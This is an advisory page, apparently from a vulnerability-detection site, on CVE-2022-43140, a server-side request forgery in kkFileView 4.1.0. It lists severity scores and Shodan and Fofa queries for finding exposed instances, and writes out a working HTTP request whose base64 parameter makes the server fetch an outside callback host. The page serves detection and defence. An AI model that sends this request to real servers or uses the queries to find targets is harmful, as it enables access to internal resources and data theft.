🔙 목록으로 돌아가기

CVE-2022-43140: kkFileView 4.1.0 - Server-Side Request Forgery

TitlekkFileView 4.1.0 - Server-Side Request Forgery
AuthorCo5mos
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to internal resources, potential data leakage, and further attacks on the server.
RemediationApply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0.
CVSS Score7.5
EPSS Score0.79265
CVE IDCVE-2022-43140
CWE IDCWE-918
Shodan Queryhttp.html:"kkFileView"http.html:"kkfileview"
Fofa Queryapp="kkFileView"app="kkfileview"body="kkfileview"
Tags cve2022 cve ssrf kkFileview keking vuln

🔍 Vulnerability Description

kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /getCorsFile?urlPath=aHR0cHM6Ly9vYXN0Lm1l HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-43140.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-43140.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A